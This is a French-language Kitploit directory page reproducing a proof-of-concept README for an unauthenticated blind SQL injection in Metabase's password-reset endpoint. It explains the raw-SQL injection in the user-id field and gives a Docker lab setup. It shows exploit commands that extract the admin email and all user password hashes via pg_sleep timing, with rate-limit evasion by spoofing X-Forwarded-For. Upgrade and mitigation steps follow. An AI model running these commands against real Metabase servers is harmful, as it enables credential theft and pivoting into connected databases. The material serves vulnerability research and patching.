Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-72898 — Exploit d'injection SQL aveugle non authentifiée pour Metabase, exploitant une injection SQL brute dans le point de terminaison de réinitialisation de mot de passe pour extraire des données via des techniques basées sur le temps. | Kitploit
Outils/GitHubGitHub/eqstlab/cve-2026-72898
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionRed Teaming
GitHubeqstlab/cve-2026-72898

CVE-2026-72898

Exploit d'injection SQL aveugle non authentifiée pour Metabase, exploitant une injection SQL brute dans le point de terminaison de réinitialisation de mot de passe pour extraire des données via des techniques basées sur le temps.

Voir le dépôt
1il y a 6h 36mPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-72898 Injection SQL non authentifiée de réinitialisation de mot de passe Metabase

★ CVE-2026-72898 PoC d'injection SQL aveugle non authentifiée dans /api/session/reset_password de Metabase ★

https://github.com/user-attachments/assets/4efe5ae3-2a41-4567-815b-ee3f731a5a59


Aperçu

CVE-2026-72898 est une injection SQL non authentifiée dans Metabase (CVSS 10.0) accessible via le point de terminaison public POST /api/session/reset_password. Le point de terminaison fusionne le corps de la requête avec le résultat d'authentification (échoué) — (merge request (authenticate ...)) — de sorte qu'un champ user-id fourni par l'attaquant survit intact et atteint la recherche d'utilisateur de la base de données applicative t2/select-one :model/User :id user-id . Metabase construit le SQL avec , dont la map est compilée comme un (sans liaison de paramètres). Envoyer comme injecte donc du SQL arbitraire dans la base de données applicative. Le point de terminaison renvoie toujours , donc l'injection est ; les données sont récupérées avec (la base de données applicative Postgres standard en production). Une exploitation réussie permet d'obtenir les données administrateur de Metabase, les identifiants de connexion stockés pour chaque source de données attachée, et un pivot complet vers ces bases de données.

sans validation d'entier
HoneySQL
{:raw "..."}
fragment SQL brut
user-id
{"raw":"<SQL>"}
400
aveugle
par temporisation
pg_sleep

Versions concernées

CatégorieVersion
VulnérablesMetabase (OSS 0.x / EE 1.x) v58.0 – v58.23, v59.0 – v59.20, v60.0 – v60.16, v61.0 – v61.10, v62.0 – v62.8, v63.0 – v63.4
Corrigéesv58.24 / v59.21 / v60.17 / v61.11 / v62.9 / v63.5 ou ultérieures

Impact

  • Exécution SQL arbitraire non authentifiée dans la base de données applicative de Metabase
  • Prise de contrôle administrateur et vol des identifiants de connexion stockés pour chaque source de données attachée
  • Pivot vers les entrepôts de données / bases de production connectés (exfiltration de données)
  • Le correctif ajoute une vérification pos-int? afin qu'un user-id non entier soit refusé avant la requête

Environnement

Construisez et exécutez la version vulnérable de Metabase. Elle utilise une base de données applicative Postgres (requise — la technique par temporisation nécessite pg_sleep, que H2 ne possède pas) et complète automatiquement la configuration initiale afin qu'elle démarre sur une page de connexion. Le démarrage prend environ 40 à 60 secondes.

root@kitploit:~
docker build -t cve-2026-72898 .
docker run -d --name cve-2026-72898 --shm-size 256m -p 3000:3000 cve-2026-72898
PréconditionÉtat dans ce laboratoire
Metabase v58 – v63.4v0.62.1
Base de données applicative Postgres (active pg_sleep)incluse dans l'image
/api/session/reset_password accessible sans authentificationexposé
Limitation de réinitialisation par IP (contournée en faisant varier X-Forwarded-For)MB_SOURCE_ADDRESS_HEADER=X-Forwarded-For

PoC

L'exploit metabase_exploit.py lit toute valeur que vous lui indiquez, sans identifiants, en utilisant la primitive aveugle par temporisation. Il envoie un X-Forwarded-For aléatoire à chaque requête pour contourner la limitation de débit par IP (comme le faisaient les attaques observées dans la nature). Choisissez la cible avec --extract "<SQL>".

root@kitploit:~
# par défaut : extraire l'e-mail administrateur
python3 metabase_exploit.py 172.17.0.2:3000

# extraire ce que vous voulez (toute expression SQL scalaire)
python3 metabase_exploit.py 172.17.0.2:3000 --extract "version()"
python3 metabase_exploit.py 172.17.0.2:3000 --extract "(SELECT string_agg(email||':'||password, ',') FROM core_user)"
root@kitploit:~
[*] cible  http://172.17.0.2:3000/api/session/reset_password
[*] extraction (SELECT email FROM core_user ORDER BY id LIMIT 1)
[*] longueur = 15 ; extraction ...
    [  1] a
    [  2] ad
    ...
    [ 15] [email protected]

[+] EXTRAIT : [email protected]

Options :

  • --check — confirme uniquement que l'injection est exploitable (affiche la différence de temps pg_sleep)
  • --extract "<SQL>" — toute expression SQL scalaire (convertie automatiquement en texte)
  • --sleep 0.4 — délai par bit TRUE (augmentez-le sur une cible lente/à distance)

Atténuation

  • Mettez à niveau Metabase vers v58.24 / v59.21 / v60.17 / v61.11 / v62.9 / v63.5 ou ultérieure
  • Si vous ne pouvez pas mettre à niveau immédiatement, bloquez POST /api/session/reset_password au niveau d'un proxy/WAF
  • Après le correctif : invalidez toutes les sessions (core_session), vérifiez les comptes administrateur et les clés API, et faites pivoter les identifiants de connexion de chaque source de données attachée (supposez qu'ils ont été exposés si le point de terminaison était accessible depuis Internet)

Analyse

  • KR :
  • EN :
Télécharger l’outil